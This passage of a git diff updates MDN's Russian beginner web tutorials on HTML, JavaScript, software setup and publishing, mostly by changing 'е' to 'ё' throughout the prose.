id="Анатомия_HTML_документа">Анатомия HTML документа</h3> -<p>Мы завершили изучение основ отдельных HTML элементов, но они не очень полезны сами по себе. Теперь мы посмотрим, как отдельные элементы объединяются в целую HTML страницу. Давайте вернемся к коду, который мы записывали в наш <code>index.html</code> (с которым мы впервые встретились в статье <a href="/ru/Learn/Getting_started_with_the_web/Dealing_with_files">Работа с файлами</a>):</p> +<p>Мы завершили изучение основ отдельных HTML элементов, но они не очень полезны сами по себе. Теперь мы посмотрим, как отдельные элементы объединяются в целую HTML страницу. Давайте вернёмся к коду, который мы записывали в наш <code>index.html</code> (с которым мы впервые встретились в статье <a href="/ru/Learn/Getting_started_with_the_web/Dealing_with_files">Работа с файлами</a>):</p> <pre class="brush: html notranslate"><!DOCTYPE html> <html> @@ -93,12 +93,12 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Здесь мы имеем:</p> <ul> - <li><code><!DOCTYPE html></code> — доктайп. В прошлом, когда HTML был молод (около 1991/1992), доктайпы должны были выступать в качестве ссылки на набор правил, которым HTML страница должна была следовать, чтобы считаться хорошим HTML, что могло означать автоматическую проверку ошибок и другие полезные вещи. Однако в наши дни, никто не заботится об этом, и они на самом деле просто исторический артефакт, который должен быть включен для того, что бы все работало правильно. На данный момент это все, что вам нужно знать.</li> + <li><code><!DOCTYPE html></code> — доктайп. В прошлом, когда HTML был молод (около 1991/1992), доктайпы должны были выступать в качестве ссылки на набор правил, которым HTML страница должна была следовать, чтобы считаться хорошим HTML, что могло означать автоматическую проверку ошибок и другие полезные вещи. Однако в наши дни, никто не заботится об этом, и они на самом деле просто исторический артефакт, который должен быть включён для того, что бы все работало правильно. На данный момент это все, что вам нужно знать.</li> <li><code><html></html></code> — элемент {{htmlelement("html")}}. Этот элемент оборачивает весь контент на всей странице, и иногда известен как корневой элемент.</li> <li><code><head></head></code> — элемент {{htmlelement("head")}}. Этот элемент выступает в качестве контейнера для всего, что вы пожелаете включить на HTML страницу, но<em> не являющегося </em>контентом, который вы показываете пользователям вашей страницы. К ним относятся такие вещи, как ключевые слова и описание страницы, которые будут появляться в результатах поиска, CSS стили нашего контента, кодировка и многое другое.</li> <li><code><body></body></code> — элемент {{htmlelement("body")}}. В нем содержится <em>весь</em> контент, который вы хотите показывать пользователям, когда они посещают вашу страницу, будь то текст, изображения, видео, игры, проигрываемые аудиодорожки или что-то еще.</li> <li><code><meta charset="utf-8"></code> — этот элемент устанавливает UTF-8 кодировку вашего документа, которая включает в себя большинство символов из всех известных человечеству языков. По сути, теперь документ может обрабатывать любой текстовый контент, который вы в него вложите. Нет причин не устанавливать её, так как это может помочь избежать некоторых проблем в дальнейшем.</li> - <li><code><title></title></code> — элемент {{htmlelement("title")}}. Этот элемент устанавливает заголовок для вашей страницы, который является названием, появляющимся на вкладке браузера загружаемой страницы, и используется для описания страницы, когда вы добавляете ее в закладки/избранное.</li> + <li><code><title></title></code> — элемент {{htmlelement("title")}}. Этот элемент устанавливает заголовок для вашей страницы, который является названием, появляющимся на вкладке браузера загружаемой страницы, и используется для описания страницы, когда вы добавляете её в закладки/избранное.</li> </ul> <h2 id="Изображения">Изображения</h2> @@ -118,7 +118,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p><img alt="" src="https://mdn.mozillademos.org/files/9349/alt-text-example.png" style="display: block; height: 36px; margin: 0px auto; width: 108px;"></p> -<p>Альтернативный текст - это "пояснительный текст". Он должен предоставить читателю достаточно информации, чтобы иметь представление о том, что передает изображение. В этом примере наш текст "My test image" ("Моё тестовое изображение") не годится. Намного лучшей альтернативой для нашего логотипа Firefox будет "The Firefox logo: a flaming fox surrounding the Earth" ("Логотип Firefox: огненный Лис вокруг Земли").</p> +<p>Альтернативный текст - это "пояснительный текст". Он должен предоставить читателю достаточно информации, чтобы иметь представление о том, что передаёт изображение. В этом примере наш текст "My test image" ("Моё тестовое изображение") не годится. Намного лучшей альтернативой для нашего логотипа Firefox будет "The Firefox logo: a flaming fox surrounding the Earth" ("Логотип Firefox: огненный Лис вокруг Земли").</p> <p>Сейчас попробуйте придумать более подходящий альтернативный текст для вашего изображения.</p> @@ -132,7 +132,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <h3 id="Заголовки">Заголовки</h3> -<p>Элементы заголовка позволяют вам указывать определенные части вашего контента в качестве заголовков или подзаголовков. Точно так же, как книга имеет название, названия глав и подзаголовков, HTML документ может содержать то же самое. HTML включает шесть уровней заголовков {{htmlelement("h1")}}–{{htmlelement("h6")}}, хотя обычно вы будете использовать не более 3-4 :</p> +<p>Элементы заголовка позволяют вам указывать определённые части вашего контента в качестве заголовков или подзаголовков. Точно так же, как книга имеет название, названия глав и подзаголовков, HTML документ может содержать то же самое. HTML включает шесть уровней заголовков {{htmlelement("h1")}}–{{htmlelement("h6")}}, хотя обычно вы будете использовать не более 3-4 :</p> <pre class="brush: html notranslate"><h1>Мой главный заголовок</h1> <h2>Мой заголовок верхнего уровня</h2> @@ -151,7 +151,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <h3 id="Списки">Списки</h3> -<p>Большая часть веб-контента является списками и HTML имеет специальные элементы для них. Разметка списка всегда состоит по меньшей мере из двух элементов. Наиболее распространенными типами списков являются нумерованные и ненумерованные списки:</p> +<p>Большая часть веб-контента является списками и HTML имеет специальные элементы для них. Разметка списка всегда состоит по меньшей мере из двух элементов. Наиболее распространёнными типами списков являются нумерованные и ненумерованные списки:</p> <ol> <li><strong>Ненумерованные списки</strong> - это списки, где порядок пунктов не имеет значения, как в списке покупок. Они оборачиваются в элемент {{htmlelement("ul")}}.</li> @@ -201,11 +201,11 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p><code>href</code> сначала может выглядеть довольно непонятым выбором для имени атрибута. Если у вас возникли проблемы с тем, чтобы запомнить его, можете запомнить, что атрибут href образуется как <em><strong>h</strong>ypertext <strong>ref</strong>erence </em>("гипертекстовая ссылка").</p> </div> -<p>Теперь добавьте ссылку на вашу страницу, если вы еще не сделали этого.</p> +<p>Теперь добавьте ссылку на вашу страницу, если вы ещё не сделали этого.</p> <h2 id="Заключение">Заключение</h2> -<p>Если вы следовали всем инструкциям в этой статье, то вы должны увидеть в конечном итоге страницу, аналогичную рисунку ниже (вы также можете <a href="http://mdn.github.io/beginner-html-site/">посмотреть ее здесь</a>):<br> +<p>Если вы следовали всем инструкциям в этой статье, то вы должны увидеть в конечном итоге страницу, аналогичную рисунку ниже (вы также можете <a href="http://mdn.github.io/beginner-html-site/">посмотреть её здесь</a>):<br> <br> <img alt="A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text" src="https://mdn.mozillademos.org/files/9351/finished-test-page-small.png" style="display: block; height: 838px; margin: 0px auto; width: 716px;"></p> diff --git a/files/ru/learn/getting_started_with_the_web/index.html b/files/ru/learn/getting_started_with_the_web/index.html index 73be1678c7..f31d6ba696 100644 --- a/files/ru/learn/getting_started_with_the_web/index.html +++ b/files/ru/learn/getting_started_with_the_web/index.html @@ -25,9 +25,9 @@ translation_of: Learn/Getting_started_with_the_web <h2 id="История_вашего_первого_веб-сайта">История вашего первого веб-сайта</h2> -<p>Необходимо много работать, чтобы создать профессиональный веб-сайт, так что, если вы новичок в веб-разработке, мы рекомендуем начать с малого. Вы не будете создавать еще один Facebook прямо сейчас, но создать свой простой веб-сайт не так уж и сложно, так что мы начнем с этого.</p> +<p>Необходимо много работать, чтобы создать профессиональный веб-сайт, так что, если вы новичок в веб-разработке, мы рекомендуем начать с малого. Вы не будете создавать ещё один Facebook прямо сейчас, но создать свой простой веб-сайт не так уж и сложно, так что мы начнём с этого.</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Прорабатывая статьи</span></span>, перечисленные ниже по порядку, вы пройдете путь от нуля до создания своей первой веб-страницы. Ну что, давайте начнем!</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Прорабатывая статьи</span></span>, перечисленные ниже по порядку, вы пройдёте путь от нуля до создания своей первой веб-страницы. Ну что, давайте начнём!</p> <h3 id="Установка_базового_программного_обеспечения"><a href="/ru/docs/Learn/Getting_started_with_the_web/Установка_базового_программного_обеспечения">Установка базового программного обеспечения</a></h3> @@ -35,23 +35,23 @@ translation_of: Learn/Getting_started_with_the_web <h3 id="Каким_должен_быть_ваш_веб-сайт"><a href="/ru/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Каким должен быть ваш веб-сайт?</a></h3> -<p>Перед тем, как вы начнете писать код для вашего веб-сайта, нужно составить план. Какую информацию вы демонстрируете? Какие шрифты и цвета вы используете? <a href="/ru/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Каким должен быть ваш веб-сайт?</a> Мы опишем простой метод, которому вы сможете следовать, чтобы спланировать содержание и дизайн вашего сайта.</p> +<p>Перед тем, как вы начнёте писать код для вашего веб-сайта, нужно составить план. Какую информацию вы демонстрируете? Какие шрифты и цвета вы используете? <a href="/ru/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Каким должен быть ваш веб-сайт?</a> Мы опишем простой метод, которому вы сможете следовать, чтобы спланировать содержание и дизайн вашего сайта.</p> <h3 id="Работа_с_файлами"><a href="/ru/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Работа с файлами</a></h3> -<p>Веб-сайт состоит из множества файлов: текстового содержания, кода, таблиц стилей, медиа-контента, и так далее. Когда вы создаете веб-сайт, вам нужно собрать эти файлы в разумную структуру и убедиться, что они могут взаимодействовать друг с другом. <a href="/ru/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Работа с файлами</a> объясняет, как создать разумную файловую структуру для вашего веб-сайта и про какие проблемы вы должны знать.</p> +<p>Веб-сайт состоит из множества файлов: текстового содержания, кода, таблиц стилей, медиа-контента, и так далее. Когда вы создаёте веб-сайт, вам нужно собрать эти файлы в разумную структуру и убедиться, что они могут взаимодействовать друг с другом. <a href="/ru/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Работа с файлами</a> объясняет, как создать разумную файловую структуру для вашего веб-сайта и про какие проблемы вы должны знать.</p> <h3 id="Основы_HTML"><a href="/ru/docs/Learn/Getting_started_with_the_web/HTML_basics">Основы HTML</a></h3> -<p>Язык гипертекстовой разметки (Hypertext Markup Language, HTML) - это код, который вы используете для структурирования веб-содержимого и придания ему смысла и цели. Например, является ли мое содержимое набором абзацев, либо списком маркированных пунктов? Нужно ли вставить изображения на мою страницу? Есть ли у меня таблица данных? Не перегружая вас, статья <a href="/ru/docs/Learn/Getting_started_with_the_web/HTML_basics">Основы HTML</a> предоставляет достаточно информации для вашего знакомства с HTML.</p> +<p>Язык гипертекстовой разметки (Hypertext Markup Language, HTML) - это код, который вы используете для структурирования веб-содержимого и придания ему смысла и цели. Например, является ли моё содержимое набором абзацев, либо списком маркированных пунктов? Нужно ли вставить изображения на мою страницу? Есть ли у меня таблица данных? Не перегружая вас, статья <a href="/ru/docs/Learn/Getting_started_with_the_web/HTML_basics">Основы HTML</a> предоставляет достаточно информации для вашего знакомства с HTML.</p> <h3 id="Основы_CSS"><a href="/ru/docs/Learn/Getting_started_with_the_web/CSS_basics">Основы CSS</a></h3> -<p>Каскадные таблицы стилей (Cascading Stylesheets, CSS) - это код, который вы используете для стилизации своего веб-сайта. Например, хотите ли вы, чтобы текст был черным или красным? Где должно быть нарисовано содержимое на экране? Какие фоновые изображения и цвета должны быть использованы, чтобы украсить ваш веб-сайт? <a href="/ru/docs/Learn/Getting_started_with_the_web/CSS_basics">Основы CSS</a> проведет вас через то, что вам нужно знать, чтобы начать.</p> +<p>Каскадные таблицы стилей (Cascading Stylesheets, CSS) - это код, который вы используете для стилизации своего веб-сайта. Например, хотите ли вы, чтобы текст был черным или красным? Где должно быть нарисовано содержимое на экране? Какие фоновые изображения и цвета должны быть использованы, чтобы украсить ваш веб-сайт? <a href="/ru/docs/Learn/Getting_started_with_the_web/CSS_basics">Основы CSS</a> проведёт вас через то, что вам нужно знать, чтобы начать.</p> <h3 id="Основы_JavaScript"><a href="/ru/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Основы JavaScript</a></h3> -<p>JavaScript - это язык программирования, который вы используете для добавления интерактивных функций для вашего веб-сайта, например, игр, событий, которые происходят при нажатии кнопок или ввода данных в формы, динамических эффектов стилизации, анимации и многого другого. <a href="/ru/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Основы JavaScript</a> дает вам представление о том, что можно сделать с помощью этого захватывающего языка, и как начать.</p> +<p>JavaScript - это язык программирования, который вы используете для добавления интерактивных функций для вашего веб-сайта, например, игр, событий, которые происходят при нажатии кнопок или ввода данных в формы, динамических эффектов стилизации, анимации и многого другого. <a href="/ru/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Основы JavaScript</a> даёт вам представление о том, что можно сделать с помощью этого захватывающего языка, и как начать.</p> <h3 id="Публикация_вашего_веб-сайта"><a href="/ru/docs/Learn/Getting_started_with_the_web/Publishing_your_website">Публикация вашего веб-сайта</a></h3> @@ -59,7 +59,7 @@ translation_of: Learn/Getting_started_with_the_web <h3 id="Как_работает_Интернет"><a href="/ru/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Как работает Интернет</a></h3> -<p>Когда вы заходите на свой любимый веб-сайт, в фоновом режиме происходит много сложных вещей, о которых вы можете не знать. Статья <a href="/ru/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Как работает Интернет</a> описывает, что происходит, когда вы просматриваете веб-страницы на своем компьютере.</p> +<p>Когда вы заходите на свой любимый веб-сайт, в фоновом режиме происходит много сложных вещей, о которых вы можете не знать. Статья <a href="/ru/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Как работает Интернет</a> описывает, что происходит, когда вы просматриваете веб-страницы на своём компьютере.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html index a8728f3cf7..33b1095fa4 100644 --- a/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html +++ b/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html @@ -26,7 +26,7 @@ original_slug: Learn/Getting_started_with_the_web/Установка_базов <h2 id="Какие_инструменты_используют_профессионалы">Какие инструменты используют профессионалы?</h2> <ul> - <li><strong>Компьютер</strong>. Может быть, это звучит очевидно для некоторых людей, но некоторые из вас читают эту статью с телефона или библиотечного компьютера. Для серьезной веб-разработки, лучше приобрести настольный компьютер (Windows, Mac или Linux).</li> + <li><strong>Компьютер</strong>. Может быть, это звучит очевидно для некоторых людей, но некоторые из вас читают эту статью с телефона или библиотечного компьютера. Для серьёзной веб-разработки, лучше приобрести настольный компьютер (Windows, Mac или Linux).</li> <li><strong>Текстовый редактор</strong>, чтобы писать код. Это может быть текстовый редактор (например, <a href="https://code.visualstudio.com/">Visual Studio Code</a>, <a href="https://notepad-plus-plus.org/">Notepad++</a>, <a href="https://www.sublimetext.com/">Sublime Text</a>, <a href="https://atom.io/">Atom</a>, <a href="https://www.gnu.org/software/emacs/">GNU Emacs</a>, или <a href="https://www.vim.org/">VIM</a>) или гибридный редактор (например, <a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver </a>or <a href="https://www.jetbrains.com/webstorm/">WebStorm</a>). Офисные редакторы не подходят для этого, поскольку они зависят от скрытых элементов, которые мешают движкам рендеринга, <span class="tlid-translation translation" lang="ru"><span title="">используемым веб-браузерами</span></span>.</li> <li><strong>Веб-браузеры</strong>, для тестирования кода. В настоящее время наиболее часто используемые браузеры это <a href="https://www.mozilla.org/ru/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, и <a href="http://windows.microsoft.com/ru/internet-explorer/download-ie">Internet Explorer</a>. Вы также должны тестировать ваш сайт на то, как он работает на мобильных устройствах и на любых старых браузерах, которые ваша целевая аудитория может все ещё широко использовать (например, IE 6-8). <a href="https://lynx.browser.org/">Lynx</a>, текстовый веб-браузер для терминала, отлично подходит для того, чтобы увидеть, как ваш сайт воспринимается слабовидящими пользователями.</li> <li><strong>Графический редактор</strong>, такие как <a href="http://www.gimp.org/">The Gimp</a>, <a href="http://www.getpaint.net/">Paint.NET</a>, или <a href="http://www.adobe.com/uk/products/photoshop.html">Photoshop</a>, чтобы создавать изображения для ваших веб-страниц.</li> diff --git a/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html b/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html index 5cdf99a8da..f5c2597f08 100644 --- a/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html +++ b/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html @@ -40,7 +40,7 @@ translation_of: Learn/Getting_started_with_the_web/JavaScript_basics <p>Предыдущий раздел звучит очень многообещающе, и это на самом деле так — JavaScript является одной из самых перспективных веб-технологий, и когда вы освоитесь и начнёте использовать его, ваши веб-сайты перейдут в новое измерение мощи и креативности.</p> -<p>Тем не менее, с JavaScript немного более сложно освоиться, чем с HTML и CSS. Вам придется начать с малого, продолжая изучение небольшими шагами. Для начала мы покажем вам, как добавить некоторые основы JavaScript на вашу страницу, чтобы создать "hello world!" пример (<a href="https://ru.wikipedia.org/wiki/Hello,_world!">стандарт в начальных примерах программирования</a>).</p> +<p>Тем не менее, с JavaScript немного более сложно освоиться, чем с HTML и CSS. Вам придётся начать с малого, продолжая изучение небольшими шагами. Для начала мы покажем вам, как добавить некоторые основы JavaScript на вашу страницу, чтобы создать "hello world!" пример (<a href="https://ru.wikipedia.org/wiki/Hello,_world!">стандарт в начальных примерах программирования</a>).</p> <div class="warning"> <p><strong>Важно</strong>: Если вы не следили за остальным нашим курсом, <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">скачайте этот пример кода</a> и используйте его в качестве стартовой точки.</p> @@ -65,7 +65,7 @@ myHeading.textContent = 'Hello world!';</pre> <h3 id="Что_произошло">Что произошло?</h3> -<p>Итак, ваш заголовок текста был изменен на "Hello world!" с помощью JavaScript. Мы сделали это с помощью вызова функции {{domxref("Document.querySelector", "querySelector()")}}, захватив ссылку на наш заголовок и сохранив её в переменной, названной <code>myHeading</code>. Это очень похоже на то, что мы делали в CSS с помощью селекторов. Если вы хотите что-то сделать с элементом, то для начала вам нужно его выбрать.</p> +<p>Итак, ваш заголовок текста был изменён на "Hello world!" с помощью JavaScript. Мы сделали это с помощью вызова функции {{domxref("Document.querySelector", "querySelector()")}}, захватив ссылку на наш заголовок и сохранив её в переменной, названной <code>myHeading</code>. Это очень похоже на то, что мы делали в CSS с помощью селекторов. Если вы хотите что-то сделать с элементом, то для начала вам нужно его выбрать.</p> <p>После этого, вы устанавливаете значение переменной <code>myHeading</code> в {{domxref("Node.textContent", "textContent")}} свойство (которое представляет собой контент заголовка) "Hello world!".</p> @@ -175,7 +175,7 @@ myVariable = 'Steve';</pre> <h3 id="Операторы">Операторы</h3> -<p>{{Glossary("operator")}} — это математический символ, который производит результат, основанный на двух значениях (или переменных). В приведенной ниже таблице вы можете увидеть некоторые из наиболее простых операторов, наряду с некоторыми примерами, которые опробуете в JavaScript консоли.</p> +<p>{{Glossary("operator")}} — это математический символ, который производит результат, основанный на двух значениях (или переменных). В приведённой ниже таблице вы можете увидеть некоторые из наиболее простых операторов, наряду с некоторыми примерами, которые опробуете в JavaScript консоли.</p> <table class="standard-table"> <thead> @@ -199,7 +199,7 @@ myVariable = 'Steve';</pre> <td>Они делают то, чего вы от них ожидаете в математике.</td> <td><code>-</code>, <code>*</code>, <code>/</code></td> <td><code>9 - 3;<br> - 8 * 2; // умножение в JS это звездочка<br> + 8 * 2; // умножение в JS это звёздочка<br> 9 / 3;</code></td> </tr> <tr> @@ -242,7 +242,7 @@ myVariable = 'Steve';</pre> <h3 id="Условия">Условия</h3> -<p>Условия — это кодовые структуры, которые позволяют вам проверять, истинно или ложно выражение, а затем выполнить другой код в зависимости от результата. Самая распространенная форма условия называется, <code>if ... else</code>. Например:</p> +<p>Условия — это кодовые структуры, которые позволяют вам проверять, истинно или ложно выражение, а затем выполнить другой код в зависимости от результата. Самая распространённая форма условия называется, <code>if ... else</code>. Например:</p> <pre class="brush: js notranslate">var iceCream = 'chocolate'; if (iceCream === 'chocolate') { @@ -255,7 +255,7 @@ if (iceCream === 'chocolate') { <h3 id="Функции">Функции</h3> -<p>{{Glossary("Function", "Функции")}} - способ упаковки функциональности, которую вы хотите использовать повторно. Всякий раз, когда вам нужна определенная процедура, вы можете просто вызвать функцию по её имени, а не переписывать весь код каждый раз. Вы уже видели некоторые функции, описанные выше, например:</p> +<p>{{Glossary("Function", "Функции")}} - способ упаковки функциональности, которую вы хотите использовать повторно. Всякий раз, когда вам нужна определённая процедура, вы можете просто вызвать функцию по её имени, а не переписывать весь код каждый раз. Вы уже видели некоторые функции, описанные выше, например:</p> <ol> <li> @@ -286,7 +286,7 @@ multiply(20,20); multiply(0.5,3);</pre> <div class="note"> -<p><strong>Примечание</strong>: Инструкция <a href="/ru/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> сообщает браузеру, что нужно вернуть переменную <code>result</code> из функции, которую можно будет использовать. Это необходимо потому, что переменные, определенные внутри функций, доступны только внутри этих функций. Это называется {{Glossary("Scope", "областью видимости")}} переменной. (Читайте <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">больше об области видимости переменных</a>.)</p> +<p><strong>Примечание</strong>: Инструкция <a href="/ru/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> сообщает браузеру, что нужно вернуть переменную <code>result</code> из функции, которую можно будет использовать. Это необходимо потому, что переменные, определённые внутри функций, доступны только внутри этих функций. Это называется {{Glossary("Scope", "областью видимости")}} переменной. (Читайте <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">больше об области видимости переменных</a>.)</p> </div> <h3 id="События">События</h3> @@ -351,7 +351,7 @@ myImage.onclick = function() { <h3 id="Добавление_персонального_приветственного_сообщения">Добавление персонального приветственного сообщения</h3> -<p>Далее мы добавим немного другого кода, чтобы изменить заголовок страницы на персонализированное приветственное сообщение, когда пользователь впервые зайдет на сайт. Это приветственное сообщение будет сохраняться, когда пользователь покинет сайт, а позже вернется - мы сохраним его с помощью <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Storage_API">Web Storage API</a>. Мы также включим возможность изменить пользователя и, следовательно, приветственное сообщение, в любое время, когда это будет необходимо.</p> +<p>Далее мы добавим немного другого кода, чтобы изменить заголовок страницы на персонализированное приветственное сообщение, когда пользователь впервые зайдёт на сайт. Это приветственное сообщение будет сохраняться, когда пользователь покинет сайт, а позже вернётся - мы сохраним его с помощью <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Storage_API">Web Storage API</a>. Мы также включим возможность изменить пользователя и, следовательно, приветственное сообщение, в любое время, когда это будет необходимо.</p> <ol> <li>В <code>index.html</code>, добавьте следующую строку перед элементом {{htmlelement("script")}}: @@ -368,7 +368,7 @@ var myHeading = document.querySelector('h1');</pre> localStorage.setItem('name', myName); myHeading.<span class="pl-smi">textContent</span> = 'Mozilla is cool, ' + myName; }</pre> - Эта функция содержит функцию <a href="/ru/docs/Web/API/Window.prompt"><code>prompt()</code></a>, которая вызывает диалоговое окно, немного похожее на <code>alert()</code> кроме того, что <code>prompt()</code> просит пользователя ввести некоторые данные, и сохраняет эти данные в переменной, после того как пользователь нажимает <strong>OK</strong>. В данном случае, мы просим пользователя ввести его имя. Далее, мы вызываем API под названием <code>localStorage</code>, который позволяет нам хранить данные в браузере и извлекать их позднее. Мы используем функцию <code>setItem()</code> из localStorage для создания и хранения данных в свойстве под названием <code>'name'</code>, и устанавливаем это значение в переменную <code>myName</code>, которая содержит имя введенное пользователем. В конце мы устанавливаем <code>textContent</code> заголовку в виде строки и имени пользователя.</li> + Эта функция содержит функцию <a href="/ru/docs/Web/API/Window.prompt"><code>prompt()</code></a>, которая вызывает диалоговое окно, немного похожее на <code>alert()</code> кроме того, что <code>prompt()</code> просит пользователя ввести некоторые данные, и сохраняет эти данные в переменной, после того как пользователь нажимает <strong>OK</strong>. В данном случае, мы просим пользователя ввести его имя. Далее, мы вызываем API под названием <code>localStorage</code>, который позволяет нам хранить данные в браузере и извлекать их позднее. Мы используем функцию <code>setItem()</code> из localStorage для создания и хранения данных в свойстве под названием <code>'name'</code>, и устанавливаем это значение в переменную <code>myName</code>, которая содержит имя введённое пользователем. В конце мы устанавливаем <code>textContent</code> заголовку в виде строки и имени пользователя.</li> <li>Затем добавьте блок <code>if ... else</code> - мы могли бы назвать это кодом инициализации, поскольку он структурирует приложение при его первой загрузке: <pre class="brush: js notranslate">if(!localStorage.getItem('name')) { setUserName(); @@ -376,7 +376,7 @@ var myHeading = document.querySelector('h1');</pre> var storedName = localStorage.getItem('name'); myHeading.<span class="pl-smi">textContent</span> = 'Mozilla is cool, ' + storedName; }</pre> - Этот блок сначала использует оператор отрицания (логическое НЕ, представленное в виде !) чтобы проверить, существуют ли данные в пункте <code>name</code>. Если нет, то функция <code>setUserName()</code> запускается для их создания. Если данные существуют (то есть, пользователь установил его во время предыдущего посещения), мы извлекаем сохраненное имя, с помощью <code>getItem()</code> и устанавливаем <code>textContent</code> заголовку в виде строки плюс имя пользователя, так же, как мы делали внутри <code>setUserName()</code>.</li> + Этот блок сначала использует оператор отрицания (логическое НЕ, представленное в виде !) чтобы проверить, существуют ли данные в пункте <code>name</code>. Если нет, то функция <code>setUserName()</code> запускается для их создания. Если данные существуют (то есть, пользователь установил его во время предыдущего посещения), мы извлекаем сохранённое имя, с помощью <code>getItem()</code> и устанавливаем <code>textContent</code> заголовку в виде строки плюс имя пользователя, так же, как мы делали внутри <code>setUserName()</code>.</li> <li>Наконец, установите обработчик события <code>onclick</code> на кнопку. При нажатии кнопки запускается функция <code>setUserName()</code>. Это позволяет пользователю установить новое имя, всякий раз, когда он захочет, нажатием кнопки: <pre class="brush: js notranslate">myButton.onclick = function() { setUserName(); diff --git a/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html index afa0a343df..bf50ebe6c6 100644 --- a/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html +++ b/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html @@ -21,14 +21,14 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website <h2 id="Какие_существуют_варианты">Какие существуют варианты?</h2> -<p>Публикация веб-сайта это не простая тема, главным образом, потому что существует много различных способов сделать это. В этой статье мы не стремимся документировать все возможные методы. Скорее, мы обсудим плюсы и минусы трех обширных стратегий с точки зрения новичка, а затем вы пройдете через один метод, который будет работать в настоящее время.</p> +<p>Публикация веб-сайта это не простая тема, главным образом, потому что существует много различных способов сделать это. В этой статье мы не стремимся документировать все возможные методы. Скорее, мы обсудим плюсы и минусы трёх обширных стратегий с точки зрения новичка, а затем вы пройдёте через один метод, который будет работать в настоящее время.</p> <h3 id="Получение_хостинга_и_доменного_имени">Получение хостинга и доменного имени</h3> <p>Чтобы иметь больший контроль над контентом и внешним видом веб-сайта, большинство людей предпочитают покупать веб-хостинг и доменное имя:</p> <ul> - <li>Хостинг — арендованное файловое пространство на <a href="/en-US/Learn/What_is_a_web_server">веб-сервере</a> хостинговой компании. Вы размещаете ваши файлы веб-сайта в этом пространстве, и веб-сервер выдает контент для веб-пользователей, которые запрашивают его.</li> + <li>Хостинг — арендованное файловое пространство на <a href="/en-US/Learn/What_is_a_web_server">веб-сервере</a> хостинговой компании. Вы размещаете ваши файлы веб-сайта в этом пространстве, и веб-сервер выдаёт контент для веб-пользователей, которые запрашивают его.</li> <li><a href="/en-US/Learn/Understanding_domain_names">Доменное имя</a> — уникальный адрес по которому люди могут найти ваш веб-сайт, например <code>http://www.mozilla.org</code> или <code>http://www.bbc.co.uk</code>. Вы можете арендовать доменное имя на столько лет, сколько захотите (минимум на 1 год) у <strong>регистратора доменов</strong>.</li> </ul> @@ -41,7 +41,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website <h4 id="Советы_по_поиску_хостингов_и_доменов">Советы по поиску хостингов и доменов</h4> <ul> - <li>Здесь мы не продвигаем какие-то конкретные хостинговые компании. Чтобы найти хостинг и регистратора доменных имен, просто поищите "веб-хостинг" и "доменные имена". Во всех таких сервисах есть функция, позволяющая вам проверить, доступно ли имя домена, или кто-то другой уже зарегистрировал его. </li> + <li>Здесь мы не продвигаем какие-то конкретные хостинговые компании. Чтобы найти хостинг и регистратора доменных имён, просто поищите "веб-хостинг" и "доменные имена". Во всех таких сервисах есть функция, позволяющая вам проверить, доступно ли имя домена, или кто-то другой уже зарегистрировал его. </li> <li>Ваш домашний или рабочий {{Glossary("ISP", "Интернет-провайдер")}} может предоставлять хостинговые услуги для небольших веб-сайтов. Набор возможностей в таком случае может быть ограничен, но, тем не менее, он может отлично подойти для ваших первых экспериментов - свяжитесь с ними и узнайте! </li> <li>Также есть несколько бесплатных сервисов, таких как <a href="https://neocities.org/">Neocities</a>, <a href="https://www.blogger.com">Blogspot</a>, и <a href="https://wordpress.com/">Wordpress</a>. Опять же, вы получаете то, за что платите, но они идеально подходят для ваших первоначальных экспериментов. Бесплатные сервисы по большей части не требуют FTP-клиентов - вы можете перетаскивать ваши файлы напрямую в веб-интерфейсе.</li> <li>Иногда компании предлагают одновременно и хостинг и домен.</li> @@ -52,7 +52,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website <p>Некоторые сервисы позволяют вам опубликовать сайт:</p> <ul> - <li><a href="https://github.com/">GitHub</a> - это "социальная сеть программистов". С помощью нее можно загружать репозитории с вашими разработками для хранения в <a 